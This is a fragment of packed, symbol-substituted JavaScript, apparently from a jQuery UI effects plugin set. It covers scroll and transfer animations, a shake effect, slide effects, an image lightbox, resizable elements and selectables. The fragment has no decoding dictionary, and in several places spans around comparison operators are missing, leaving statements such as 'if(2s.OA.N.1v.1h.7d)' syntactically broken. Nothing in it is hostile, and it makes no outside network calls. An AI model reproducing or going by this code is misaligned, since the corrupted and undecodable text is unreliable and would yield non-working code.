p=n/z.1H;if(t>=z.1H+z.t){97(C(){o=1;if(z.1K){t=z.4H;l=z.4r;if(z.1K==\'5c\')o=0}z.ag(z.3v,l,t,14,o)},13);z.4i()}L{o=1;if(!A.1e||!A.1e[z.1e]){s=((-Z.51(p*Z.2F)/2)+0.5)*(z.3v-z.6m)+z.6m}L{s=A.1e[z.1e](p,n,z.6m,(z.3v-z.6m),z.1H)}if(z.1K){if(!A.1e||!A.1e[z.1e]){t=((-Z.51(p*Z.2F)/2)+0.5)*(z.4H-z.3V)+z.3V;l=((-Z.51(p*Z.2F)/2)+0.5)*(z.4r-z.3Q)+z.3Q;if(z.1K==\'5c\')o=((-Z.51(p*Z.2F)/2)+0.5)*(-0.9B)+0.9B}L{t=A.1e[z.1e](p,n,z.3V,(z.4H-z.3V),z.1H);l=A.1e[z.1e](p,n,z.3Q,(z.4r-z.3Q),z.1H);if(z.1K==\'5c\')o=A.1e[z.1e](p,n,0.9B,-0.9B,z.1H)}}z.ag(s,l,t,H,o)}};z.2A=5Y(C(){z.3f()},13);z.ag=C(a,b,c,d,e){z.el.E(\'S\',z.S*a/1Y+\'Q\').E(\'V\',z.V*a/1Y+\'Q\').E(\'M\',b+\'Q\').E(\'O\',c+\'Q\').E(\'4a\',z.4a*a/1Y+z.cy);if(z.aq)z.el.E(\'4x\',z.aq*a/1Y+z.cx);if(z.ap)z.el.E(\'5i\',z.ap*a/1Y+z.cw);if(z.ao)z.el.E(\'5d\',z.ao*a/1Y+z.cv);if(z.an)z.el.E(\'4y\',z.an*a/1Y+z.cu);if(z.am)z.el.E(\'5b\',z.am*a/1Y+z.ct);if(z.al)z.el.E(\'5g\',z.al*a/1Y+z.cr);if(z.ak)z.el.E(\'4Q\',z.ak*a/1Y+z.cq);if(z.aj)z.el.E(\'4F\',z.aj*a/1Y+z.cp);if(z.1K==\'5c\'){if(1P.6j)z.el.I(0).Y.4X="7s(1E="+e*1Y+")";z.el.I(0).Y.1E=e}if(d){if(z.bL){z.el.E(z.U)}if(z.1K==\'as\'||z.1K==\'5c\'){z.el.E(\'11\',\'1k\');if(z.1K==\'5c\'){if(1P.6j)z.el.I(0).Y.4X="7s(1E="+1Y+")";z.el.I(0).Y.1E=1}}L z.el.E(\'11\',\'2v\');if(z.29)z.29.1x(z.el.I(0));A.2z(z.el.I(0),\'1j\')}}};A.fn.1U({9A:C(a,b,c){o=A.1l(a);G B.1r(\'1j\',C(){W A.fx.9A(B,o,b,c)})},ft:C(a,b,c){G B.1y(C(){A(\'a[@2U*="#"]\',B).4U(C(e){co=B.2U.6W(\'#\');A(\'#\'+co[1]).9A(a,b,c);G H})})}});A.fx.9A=C(e,o,a,b){F z=B;z.o=o;z.e=e;z.2g=/cn|cm/.3M(a)?a:H;z.1e=b;p=A.12.3a(e);s=A.12.5O();z.4i=C(){5h(z.2A);z.2A=P;A.2z(z.e,\'1j\')};z.t=(W 6p).6y();s.h=s.h>s.ih?(s.h-s.ih):s.h;s.w=s.w>s.iw?(s.w-s.iw):s.w;z.4H=p.y>s.h?s.h:p.y;z.4r=p.x>s.w?s.w:p.x;z.3V=s.t;z.3Q=s.l;z.3f=C(){F t=(W 6p).6y();F n=t-z.t;F p=n/z.o.1H;if(t>=z.o.1H+z.t){z.4i();97(C(){z.ab(z.4H,z.4r)},13)}L{if(!z.2g||z.2g==\'cn\'){if(!A.1e||!A.1e[z.1e]){8v=((-Z.51(p*Z.2F)/2)+0.5)*(z.4H-z.3V)+z.3V}L{8v=A.1e[z.1e](p,n,z.3V,(z.4H-z.3V),z.o.1H)}}L{8v=z.3V}if(!z.2g||z.2g==\'cm\'){if(!A.1e||!A.1e[z.1e]){8u=((-Z.51(p*Z.2F)/2)+0.5)*(z.4r-z.3Q)+z.3Q}L{8u=A.1e[z.1e](p,n,z.3Q,(z.4r-z.3Q),z.o.1H)}}L{8u=z.3Q}z.ab(8v,8u)}};z.ab=C(t,l){1P.fs(l,t)};z.2A=5Y(C(){z.3f()},13)};A.fn.a8=C(a,b){G B.1r(\'1j\',C(){if(!A.4n(B)){A.2z(B,\'1j\');G H}F e=W A.fx.a8(B,a,b);e.a7()})};A.fx.a8=C(e,a,b){F z=B;z.el=A(e);z.el.1S();z.74=R(a)||3;z.29=b;z.52=1;z.U={};z.U.T=z.el.E(\'T\');z.U.O=R(z.el.E(\'O\'))||0;z.U.M=R(z.el.E(\'M\'))||0;if(z.U.T!=\'2i\'&&z.U.T!=\'1J\'){z.el.E(\'T\',\'2i\')}z.a7=C(){z.52++;z.e=W A.fx(z.el.I(0),{1H:60,1T:C(){z.e=W A.fx(z.el.I(0),{1H:60,1T:C(){z.e=W A.fx(e,{1H:60,1T:C(){if(z.52<=z.74)z.a7();L{z.el.E(\'T\',z.U.T).E(\'O\',z.U.O+\'Q\').E(\'M\',z.U.M+\'Q\');A.2z(z.el.I(0),\'1j\');if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}}}},\'M\');z.e.1G(z.U.M-20,z.U.M)}},\'M\');z.e.1G(z.U.M+20,z.U.M-20)}},\'M\');z.e.1G(z.U.M,z.U.M+20)}};A.fn.1U({dR:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'4l\',\'in\',c)})},c6:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'4l\',\'3U\',c)})},fr:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'4l\',\'3E\',c)})},fq:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'41\',\'in\',c)})},fp:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'41\',\'3U\',c)})},fo:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'41\',\'3E\',c)})},fm:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'M\',\'in\',c)})},fl:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'M\',\'3U\',c)})},fk:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'M\',\'3E\',c)})},fj:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'2D\',\'in\',c)})},fi:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'2D\',\'3U\',c)})},fh:C(a,b,c){G B.1r(\'1j\',C(){W A.fx.1u(B,a,b,\'2D\',\'3E\',c)})}});A.fx.1u=C(e,a,b,c,d,f){if(!A.4n(e)){A.2z(e,\'1j\');G H}F z=B;z.el=A(e);z.1e=28 b==\'4B\'?b:f||P;z.29=28 b==\'C\'?b:P;if(d==\'3E\'){d=z.el.E(\'11\')==\'1k\'?\'in\':\'3U\'}if(!e.4f)e.4f=z.el.E(\'11\');z.el.1S();z.1l=a;z.fx=A.fx.9u(e);z.1K=d;z.6T=c;z.1T=C(){if(z.1K==\'3U\')z.el.E(\'2W\',\'2B\');A.fx.9n(z.fx.2Y.I(0),z.fx.U);if(z.1K==\'in\'){z.el.E(\'11\',z.el.I(0).4f==\'1k\'?\'2v\':z.el.I(0).4f)}L{z.el.E(\'11\',\'1k\');z.el.E(\'2W\',\'cl\')}if(z.29&&z.29.1F==2w){z.29.1x(z.el.I(0))}A.2z(z.el.I(0),\'1j\')};2X(z.6T){19\'4l\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'O\');z.79=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e),\'S\');if(z.1K==\'in\'){z.ef.1G(-z.fx.U.1o.hb,0);z.79.1G(0,z.fx.U.1o.hb)}L{z.ef.1G(0,-z.fx.U.1o.hb);z.79.1G(z.fx.U.1o.hb,0)}1n;19\'41\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'O\');if(z.1K==\'in\'){z.ef.1G(z.fx.U.1o.hb,0)}L{z.ef.1G(0,z.fx.U.1o.hb)}1n;19\'M\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'M\');z.79=W A.fx(z.fx.2Y.I(0),A.1l(z.1l,z.1e),\'V\');if(z.1K==\'in\'){z.ef.1G(-z.fx.U.1o.1D,0);z.79.1G(0,z.fx.U.1o.1D)}L{z.ef.1G(0,-z.fx.U.1o.1D);z.79.1G(z.fx.U.1o.1D,0)}1n;19\'2D\':z.ef=W A.fx(z.el.I(0),A.1l(z.1l,z.1e,z.1T),\'M\');if(z.1K==\'in\'){z.ef.1G(z.fx.U.1o.1D,0)}L{z.ef.1G(0,z.fx.U.1o.1D)}1n}};A.2O=P;A.fn.fg=C(o){G B.1r(\'1j\',C(){W A.fx.cj(B,o)})};A.fx.cj=C(e,o){if(A.2O==P){A(\'23\',1c).1L(\'<1W id="2O">\');A.2O=A(\'#2O\')}A.2O.E(\'11\',\'2v\').E(\'T\',\'1J\');F z=B;z.el=A(e);if(!o||!o.3v){G}if(o.3v.1F==8t&&1c.7o(o.3v)){o.3v=1c.7o(o.3v)}L if(!o.3v.ci){G}if(!o.1H){o.1H=ch}z.1H=o.1H;z.3v=o.3v;z.7e=o.2Z;z.1T=o.1T;if(z.7e){A.2O.2H(z.7e)}z.8s=0;z.8i=0;if(A.e0){z.8s=(R(A.2O.E(\'4y\'))||0)+(R(A.2O.E(\'5i\'))||0)+(R(A.2O.E(\'4F\'))||0)+(R(A.2O.E(\'5g\'))||0);z.8i=(R(A.2O.E(\'4x\'))||0)+(R(A.2O.E(\'5d\'))||0)+(R(A.2O.E(\'5b\'))||0)+(R(A.2O.E(\'4Q\'))||0)}z.2b=A.1U(A.12.3a(z.el.I(0)),A.12.2f(z.el.I(0)));z.3m=A.1U(A.12.3a(z.3v),A.12.2f(z.3v));z.2b.1D-=z.8s;z.2b.hb-=z.8i;z.3m.1D-=z.8s;z.3m.hb-=z.8i;z.29=o.1T;A.2O.E(\'V\',z.2b.1D+\'Q\').E(\'S\',z.2b.hb+\'Q\').E(\'O\',z.2b.y+\'Q\').E(\'M\',z.2b.x+\'Q\').4S({O:z.3m.y,M:z.3m.x,V:z.3m.1D,S:z.3m.hb},z.1H,C(){if(z.7e)A.2O.3S(z.7e);A.2O.E(\'11\',\'1k\');if(z.1T&&z.1T.1F==2w){z.1T.1x(z.el.I(0),[z.3v])}A.2z(z.el.I(0),\'1j\')})};A.1q={24:{2u:10,cf:\'1R/ff.ce\',cd:\'<3O 2E="1R/5o.cc" />\',cb:0.8,ca:\'fb 8G\',c9:\'6m\',3F:7n},fa:H,f8:H,5A:P,7m:H,7l:H,a3:C(a){if(!A.1q.7l||A.1q.7m)G;F b=a.6S||a.6R||-1;2X(b){19 35:if(A.1q.5A)A.1q.2b(P,A(\'a[@4o=\'+A.1q.5A+\']:f7\').I(0));1n;19 36:if(A.1q.5A)A.1q.2b(P,A(\'a[@4o=\'+A.1q.5A+\']:f6\').I(0));1n;19 37:19 8:19 33:19 80:19 f4:F c=A(\'#7j\');if(c.I(0).4q!=P){c.I(0).4q.1x(c.I(0))}1n;19 38:1n;19 39:19 34:19 32:19 fd:19 78:F d=A(\'#7h\');if(d.I(0).4q!=P){d.I(0).4q.1x(d.I(0))}1n;19 40:1n;19 27:A.1q.8q();1n}},6g:C(a){if(a)A.1U(A.1q.24,a);if(1P.3N){A(\'23\',1c).1C(\'5Q\',A.1q.a3)}L{A(1c).1C(\'5Q\',A.1q.a3)}A(\'a\').1y(C(){el=A(B);c5=el.1m(\'4o\')||\'\';c4=el.1m(\'2U\')||\'\';cg=/\\.cc|\\.f2|\\.7q|\\.ce|\\.f1/g;if(c4.5u().aD(cg)!=P&&c5.5u().3o(\'c2\')==0){el.1C(\'4U\',A.1q.2b)}});if(A.2R.46){3q=1c.3x(\'3q\');A(3q).1m({id:\'a1\',2E:\'dc:H;\',da:\'b0\',d7:\'b0\'}).E({11:\'1k\',T:\'1J\',O:\'0\',M:\'0\',4X:\'9x:9C.9E.a6(1E=0)\'});A(\'23\').1L(3q)}7r=1c.3x(\'1W\');A(7r).1m(\'id\',\'a0\').E({T:\'1J\',11:\'1k\',O:\'0\',M:\'0\',1E:0}).1L(1c.8b(\' \')).1C(\'4U\',A.1q.8q);5C=1c.3x(\'1W\');A(5C).1m(\'id\',\'c0\').E({4F:A.1q.24.2u+\'Q\'}).1L(1c.8b(\' \'));9Z=1c.3x(\'1W\');A(9Z).1m(\'id\',\'bY\').E({4F:A.1q.24.2u+\'Q\',4Q:A.1q.24.2u+\'Q\'}).1L(1c.8b(\' \'));9Y=1c.3x(\'a\');A(9Y).1m({id:\'f0\',2U:\'#\'}).E({T:\'1J\',2D:A.1q.24.2u+\'Q\',O:\'0\'}).1L(A.1q.24.cd).1C(\'4U\',A.1q.8q);6Z=1c.3x(\'1W\');A(6Z).1m(\'id\',\'9X\').E({T:\'2i\',9W:\'M\',5X:\'0 8x\',3j:1}).1L(5C).1L(9Z).1L(9Y);21=1c.3x(\'3O\');21.2E=A.1q.24.cf;A(21).1m(\'id\',\'bW\').E({T:\'1J\'});5G=1c.3x(\'a\');A(5G).1m({id:\'7j\',2U:\'#\'}).E({T:\'1J\',11:\'1k\',2N:\'2B\',cC:\'1k\'}).1L(1c.8b(\' \'));5F=1c.3x(\'a\');A(5F).1m({id:\'7h\',2U:\'#\'}).E({T:\'1J\',2N:\'2B\',cC:\'1k\'}).1L(1c.8b(\' \'));2q=1c.3x(\'1W\');A(2q).1m(\'id\',\'bT\').E({11:\'1k\',T:\'2i\',2N:\'2B\',9W:\'M\',5X:\'0 8x\',O:\'0\',M:\'0\',3j:2}).1L([21,5G,5F]);5Z=1c.3x(\'1W\');A(5Z).1m(\'id\',\'8m\').E({11:\'1k\',T:\'1J\',2N:\'2B\',O:\'0\',M:\'0\',9W:\'az\',6P:\'b7\',eY:\'0\'}).1L([2q,6Z]);A(\'23\').1L(7r).1L(5Z)},2b:C(e,a){el=a?A(a):A(B);8J=el.1m(\'4o\');F b,4E,5G,5F;if(8J!=\'c2\'){A.1q.5A=8J;7F=A(\'a[@4o=\'+8J+\']\');b=7F.1N();4E=7F.aY(a?a:B);5G=7F.I(4E-1);5F=7F.I(4E+1)}aw=el.1m(\'2U\');5C=el.1m(\'3T\');3R=A.12.5O();7r=A(\'#a0\');if(!A.1q.7l){A.1q.7l=14;if(A.2R.46){A(\'#a1\').E(\'S\',Z.3g(3R.ih,3R.h)+\'Q\').E(\'V\',Z.3g(3R.iw,3R.w)+\'Q\').1S()}7r.E(\'S\',Z.3g(3R.ih,3R.h)+\'Q\').E(\'V\',Z.3g(3R.iw,3R.w)+\'Q\').1S().bS(bz,A.1q.24.cb,C(){A.1q.aB(aw,5C,3R,b,4E,5G,5F)});A(\'#8m\').E(\'V\',Z.3g(3R.iw,3R.w)+\'Q\')}L{A(\'#7j\').I(0).4q=P;A(\'#7h\').I(0).4q=P;A.1q.aB(aw,5C,3R,b,4E,5G,5F)}G H},aB:C(a,b,c,d,e,f,g){A(\'#aA\').9U();8l=A(\'#7j\');8l.2x();8k=A(\'#7h\');8k.2x();21=A(\'#bW\');2q=A(\'#bT\');5Z=A(\'#8m\');6Z=A(\'#9X\').E(\'2W\',\'2B\');A(\'#c0\').3i(5C);A.1q.7m=14;if(d)A(\'#bY\').3i(A.1q.24.ca+\' \'+(e+1)+\' \'+A.1q.24.c9+\' \'+d);if(f){8l.I(0).4q=C(){B.4W();A.1q.2b(P,f);G H}}if(g){8k.I(0).4q=C(){B.4W();A.1q.2b(P,g);G H}}21.1S();7u=A.12.2f(2q.I(0));4C=Z.3g(7u.1D,21.I(0).V+A.1q.24.2u*2);59=Z.3g(7u.hb,21.I(0).S+A.1q.24.2u*2);21.E({M:(4C-21.I(0).V)/2+\'Q\',O:(59-21.I(0).S)/2+\'Q\'});2q.E({V:4C+\'Q\',S:59+\'Q\'}).1S();bQ=A.12.a5();5Z.E(\'O\',c.t+(bQ.h/15)+\'Q\');if(5Z.E(\'11\')==\'1k\'){5Z.1S().6U(A.1q.24.3F)}5H=W 8M;A(5H).1m(\'id\',\'aA\').1C(\'eP\',C(){4C=5H.V+A.1q.24.2u*2;59=5H.S+A.1q.24.2u*2;21.2x();2q.4S({S:59},7u.hb!=59?A.1q.24.3F:1,C(){2q.4S({V:4C},7u.1D!=4C?A.1q.24.3F:1,C(){2q.aJ(5H);A(5H).E({T:\'1J\',M:A.1q.24.2u+\'Q\',O:A.1q.24.2u+\'Q\'}).6U(A.1q.24.3F,C(){cL=A.12.2f(6Z.I(0));if(f){8l.E({M:A.1q.24.2u+\'Q\',O:A.1q.24.2u+\'Q\',V:4C/2-A.1q.24.2u*3+\'Q\',S:59-A.1q.24.2u*2+\'Q\'}).1S()}if(g){8k.E({M:4C/2+A.1q.24.2u*2+\'Q\',O:A.1q.24.2u+\'Q\',V:4C/2-A.1q.24.2u*3+\'Q\',S:59-A.1q.24.2u*2+\'Q\'}).1S()}6Z.E({V:4C+\'Q\',O:-cL.hb+\'Q\',2W:\'cl\'}).4S({O:-1},A.1q.24.3F,C(){A.1q.7m=H})})})})});5H.2E=a},8q:C(){A(\'#aA\').9U();A(\'#8m\').2x();A(\'#9X\').E(\'2W\',\'2B\');A(\'#a0\').bS(bz,0,C(){A(B).2x();if(A.2R.46){A(\'#a1\').2x()}});A(\'#7j\').I(0).4q=P;A(\'#7h\').I(0).4q=P;A.1q.5A=P;A.1q.7l=H;A.1q.7m=H;G H}};A.N={1v:P,3A:P,1g:P,1A:P,1o:P,T:P,7f:C(e){A.N.1g=(B.9T)?B.9T:B;A.N.1A=A.12.3W(e);A.N.1o={V:R(A(A.N.1g).E(\'V\'))||0,S:R(A(A.N.1g).E(\'S\'))||0};A.N.T={O:R(A(A.N.1g).E(\'O\'))||0,M:R(A(A.N.1g).E(\'M\'))||0};A(1c).1C(\'3t\',A.N.aO).1C(\'5n\',A.N.aN);if(28 A.N.1g.1h.bO===\'C\'){A.N.1g.1h.bO.1x(A.N.1g)}G H},aN:C(e){A(1c).3h(\'3t\',A.N.aO).3h(\'5n\',A.N.aN);if(28 A.N.1g.1h.cO===\'C\'){A.N.1g.1h.cO.1x(A.N.1g)}A.N.1g=P},aO:C(e){if(!A.N.1g){G}1A=A.12.3W(e);6c=A.N.T.O-A.N.1A.y+1A.y;77=A.N.T.M-A.N.1A.x+1A.x;6c=Z.3g(Z.3k(6c,A.N.1g.1h.7d-A.N.1o.S),A.N.1g.1h.6F);77=Z.3g(Z.3k(77,A.N.1g.1h.7c-A.N.1o.V),A.N.1g.1h.6u);if(28 A.N.1g.1h.4h===\'C\'){F a=A.N.1g.1h.4h.1x(A.N.1g,[77,6c]);if(28 a==\'eI\'&&a.1b==2){77=a[0];6c=a[1]}}A.N.1g.Y.O=6c+\'Q\';A.N.1g.Y.M=77+\'Q\';G H},2b:C(e){A(1c).1C(\'3t\',A.N.7g).1C(\'5n\',A.N.7w);A.N.1v=B.1v;A.N.3A=B.3A;A.N.1A=A.12.3W(e);A.N.1o={V:R(A(B.1v).E(\'V\'))||0,S:R(A(B.1v).E(\'S\'))||0};A.N.T={O:R(A(B.1v).E(\'O\'))||0,M:R(A(B.1v).E(\'M\'))||0};if(A.N.1v.1h.4c){A.N.1v.1h.4c.1x(A.N.1v,[B])}G H},7w:C(){A(1c).3h(\'3t\',A.N.7g).3h(\'5n\',A.N.7w);if(A.N.1v.1h.3C){A.N.1v.1h.3C.1x(A.N.1v,[A.N.3A])}A.N.1v=P;A.N.3A=P},5N:C(a,b){G Z.3k(Z.3g(A.N.1o.V+a*b,A.N.1v.1h.8O),A.N.1v.1h.5R)},5M:C(a,b){G Z.3k(Z.3g(A.N.1o.S+a*b,A.N.1v.1h.7x),A.N.1v.1h.7y)},bN:C(a){G Z.3k(Z.3g(a,A.N.1v.1h.7x),A.N.1v.1h.7y)},7g:C(e){if(A.N.1v==P){G}1A=A.12.3W(e);dx=1A.x-A.N.1A.x;dy=1A.y-A.N.1A.y;1B={V:A.N.1o.V,S:A.N.1o.S};2s={O:A.N.T.O,M:A.N.T.M};2X(A.N.3A){19\'e\':1B.V=A.N.5N(dx,1);1n;19\'eH\':1B.V=A.N.5N(dx,1);1B.S=A.N.5M(dy,1);1n;19\'w\':1B.V=A.N.5N(dx,-1);2s.M=A.N.T.M-1B.V+A.N.1o.V;1n;19\'9R\':1B.V=A.N.5N(dx,-1);2s.M=A.N.T.M-1B.V+A.N.1o.V;1B.S=A.N.5M(dy,1);1n;19\'7a\':1B.S=A.N.5M(dy,-1);2s.O=A.N.T.O-1B.S+A.N.1o.S;1B.V=A.N.5N(dx,-1);2s.M=A.N.T.M-1B.V+A.N.1o.V;1n;19\'n\':1B.S=A.N.5M(dy,-1);2s.O=A.N.T.O-1B.S+A.N.1o.S;1n;19\'9Q\':1B.S=A.N.5M(dy,-1);2s.O=A.N.T.O-1B.S+A.N.1o.S;1B.V=A.N.5N(dx,1);1n;19\'s\':1B.S=A.N.5M(dy,1);1n}if(A.N.1v.1h.44){if(A.N.3A==\'n\'||A.N.3A==\'s\')43=1B.S*A.N.1v.1h.44;L 43=1B.V;4z=A.N.bN(43*A.N.1v.1h.44);43=4z/A.N.1v.1h.44;2X(A.N.3A){19\'n\':19\'7a\':19\'9Q\':2s.O+=1B.S-4z;1n}2X(A.N.3A){19\'7a\':19\'w\':19\'9R\':2s.M+=1B.V-43;1n}1B.S=4z;1B.V=43}if(2s.OA.N.1v.1h.7d){1B.S=A.N.1v.1h.7d-2s.O;if(A.N.1v.1h.44){1B.V=1B.S/A.N.1v.1h.44}}if(2s.M+1B.V>A.N.1v.1h.7c){1B.V=A.N.1v.1h.7c-2s.M;if(A.N.1v.1h.44){1B.S=1B.V*A.N.1v.1h.44}}F a=H;if(A.N.1v.1h.eG){a=A.N.1v.1h.eG.1x(A.N.1v,[1B,2s]);if(a){if(a.1o){A.1U(1B,a.1o)}if(a.T){A.1U(2s,a.T)}}}8f=A.N.1v.Y;8f.M=2s.M+\'Q\';8f.O=2s.O+\'Q\';8f.V=1B.V+\'Q\';8f.S=1B.S+\'Q\';G H},2l:C(b){if(!b||!b.3G||b.3G.1F!=6E){G}G B.1y(C(){F a=B;a.1h=b;a.1h.8O=b.8O||10;a.1h.7x=b.7x||10;a.1h.5R=b.5R||5P;a.1h.7y=b.7y||5P;a.1h.6F=b.6F||-8V;a.1h.6u=b.6u||-8V;a.1h.7c=b.7c||5P;a.1h.7d=b.7d||5P;bK=A(a).E(\'T\');if(!(bK==\'2i\'||bK==\'1J\')){a.Y.T=\'2i\'}eE=/n|9Q|e|eH|s|9R|w|7a/g;1V(i in a.1h.3G){if(i.5u().aD(eE)!=P){if(a.1h.3G[i].1F==8t){3c=A(a.1h.3G[i]);if(3c.1N()>0){a.1h.3G[i]=3c.I(0)}}if(a.1h.3G[i].4D){a.1h.3G[i].1v=a;a.1h.3G[i].3A=i;A(a.1h.3G[i]).1C(\'4R\',A.N.2b)}}}if(a.1h.5k){if(28 a.1h.5k===\'4B\'){9N=A(a.1h.5k);if(9N.1N()>0){9N.1y(C(){B.9T=a});9N.1C(\'4R\',A.N.7f)}}L if(a.1h.5k==14){A(B).1C(\'4R\',A.N.7f)}}})},4v:C(){G B.1y(C(){F a=B;1V(i in a.1h.3G){a.1h.3G[i].1v=P;a.1h.3G[i].3A=P;A(a.1h.3G[i]).3h(\'4R\',A.N.2b)}if(a.1h.5k){if(28 a.1h.5k===\'4B\'){3c=A(a.1h.5k);if(3c.1N()>0){3c.3h(\'4R\',A.N.7f)}}L if(a.1h.5k==14){A(B).3h(\'4R\',A.N.7f)}}a.1h=P})}};A.fn.1U({jk:A.N.2l,jj:A.N.4v});A.2t=P;A.6J=H;A.31=P;A.6B=[];A.9L=C(e){F a=e.6S||e.6R||-1;if(a==17||a==16){A.6J=14}};A.9J=C(e){A.6J=H};A.eB=C(e){B.f.1A=A.12.3W(e);B.f.1I=A.1U(A.12.3a(B),A.12.2f(B));B.f.4p=A.12.5O(B);B.f.1A.x-=B.f.1I.x;B.f.1A.y-=B.f.1I.y;A(B).1L(A.2t.I(0));if(B.f.hc)A.2t.2H(B.f.hc).E(\'11\',\'2v\');A.2t.E({11:\'2v\',V:\'2G\',S:\'2G\'});if(B.f.o){A.2t.E(\'1E\',B.f.o)}A.31=B;A.7A=H;A.6B=[];B.f.el.1y(C(){B.1I={x:B.7Y+(B.4u&&!A.2R.6l?R(B.4u.4y)||0:0)+(A.31.2P||0),y:B.7t+(B.4u&&!A.2R.6l?R(B.4u.4x)||0:0)+(A.31.2T||0),1D:B.3P,hb:B.5r};if(B.s==14){if(A.6J==H){B.s=H;A(B).3S(A.31.f.71)}L{A.7A=14;A.6B[A.6B.1b]=A.1m(B,\'id\')}}});A.9H.1x(B,[e]);A(1c).1C(\'3t\',A.9H).1C(\'5n\',A.bI);G H};A.9H=C(e){if(!A.31)G;A.eA.1x(A.31,[e])};A.eA=C(e){if(!A.31)G;F a=A.12.3W(e);F b=A.12.5O(A.31);a.x+=b.l-B.f.4p.l-B.f.1I.x;a.y+=b.t-B.f.4p.t-B.f.1I.y;F c=Z.3k(a.x,B.f.1A.x);F d=Z.3k(Z.3B(a.x-B.f.1A.x),Z.3B(B.f.4p.w-c));F f=Z.3k(a.y,B.f.1A.y);F g=Z.3k(Z.3B(a.y-B.f.1A.y),Z.3B(B.f.4p.h-f));if(B.2T>0&&a.y-20B.2T+B.f.1I.h){F h=Z.3k(B.f.4p.h-B.2T,10);B.2T+=h;if(B.2T!=b.t)g+=h}if(B.2P>0&&a.x-20B.2P+B.f.1I.w){F h=Z.3k(B.f.4p.w-B.2P,10);B.2P+=h;if(B.2P!=b.l)d+=h}A.2t.E({M:c+\'Q\',O:f+\'Q\',V:d+\'Q\',S:g+\'Q\'});A.2t.l=c+B.f.4p.l;A.2t.t=f+B.f.4p.t;A.2t.r=A.2t.l+d;A.2t.b=A.2t.t+g;A.7A=H;B.f.el.1y(C(){9G=A.6B.3o(A.1m(B,\'id\'));if(!(B.1I.x>A.2t.r||(B.1I.x+B.1I.1D)A.2t.b||(B.1I.y+B.1I.hb)0){h+=\'&\'}h+=s+\'[]=\'+A.1m(B,\'id\');o[o.1b]=A.1m(B,\'id\')}})}G{6A:h,o:o}};A.fn.jg=C(o){if(!A.2t){A(\'23\',1c).1L(\'<1W id="2t">\').1C(\'70\',A.9L).1C(\'5Q\',A.9J);A.2t=A(\'#2t\');A.2t.E({T:\'1J\',11:\'1k\'});if(1P.3N){A(\'23\',1c).1C(\'70\',A.9L).1C(\'5Q\',A.9J)}L{A(1c).1C(\'70\',A.9L).1C(\'5Q\',A.9J)}}if(!o){o={}}G B.1y(C(){if(B.ey)G;B.ey=14;B.f={a:o.3r,o:o.1E?2c(o.1E):H,71:o.ex?o.ex:H,hc:o.4G?o.4G:H,8d:o.8d?o.8d:H,8c:o.8c?o.8c:H};B.f.el=A(\'.\'+o.3r);A(B).1C(\'4R\',A.eB).E(\'T\',\'2i\')})};A.2Q={aT:1,ew:C(b){F b=b;G B.1y(C(){B.4g.69.1y(C(a){A.2Q.4s(B,b[a])})})},I:C(){F e=[];B.1y(C(b){if(B.bD){e[b]=[];F c=B;F d=A.12.2f(B);B.4g.69.1y(C(a){F x=B.7Y;F y=B.7t;7B=R(x*1Y/(d.w-B.3P));7C=R(y*1Y/(d.h-B.5r));e[b][a]=[7B||0,7C||0,x||0,y||0]})}});G e},ad:C(a){a.D.ep=a.D.1Z.w-a.D.1w.1D;a.D.eo=a.D.1Z.h-a.D.1w.hb;if(a.92.4g.bB){8Z=a.92.4g.69.I(a.bA+1);if(8Z){a.D.1Z.w=(R(A(8Z).E(\'M\'))||0)+a.D.1w.1D;a.D.1Z.h=(R(A(8Z).E(\'O\'))||0)+a.D.1w.hb}9f=a.92.4g.69.I(a.bA-1);if(9f){F b=R(A(9f).E(\'M\'))||0;F c=R(A(9f).E(\'M\'))||0;a.D.1Z.x+=b;a.D.1Z.y+=c;a.D.1Z.w-=b;a.D.1Z.h-=c}}a.D.ek=a.D.1Z.w-a.D.1w.1D;a.D.ej=a.D.1Z.h-a.D.1w.hb;if(a.D.2C){a.D.gx=((a.D.1Z.w-a.D.1w.1D)/a.D.2C)||1;a.D.gy=((a.D.1Z.h-a.D.1w.hb)/a.D.2C)||1;a.D.d1=a.D.ek/a.D.2C;a.D.d0=a.D.ej/a.D.2C}a.D.1Z.dx=a.D.1Z.x-a.D.22.x;a.D.1Z.dy=a.D.1Z.y-a.D.22.y;A.X.18.E(\'7z\',\'8T\')},3n:C(a,x,y){if(a.D.2C){d9=R(x/a.D.d1);7B=d9*1Y/a.D.2C;d5=R(y/a.D.d0);7C=d5*1Y/a.D.2C}L{7B=R(x*1Y/a.D.ep);7C=R(y*1Y/a.D.eo)}a.D.aa=[7B||0,7C||0,x||0,y||0];if(a.D.3n)a.D.3n.1x(a,a.D.aa)},d3:C(a){6K=a.6S||a.6R||-1;2X(6K){19 35:A.2Q.4s(B.3H,[91,91]);1n;19 36:A.2Q.4s(B.3H,[-91,-91]);1n;19 37:A.2Q.4s(B.3H,[-B.3H.D.gx||-1,0]);1n;19 38:A.2Q.4s(B.3H,[0,-B.3H.D.gy||-1]);1n;19 39:A.2Q.4s(B.3H,[B.3H.D.gx||1,0]);1n;19 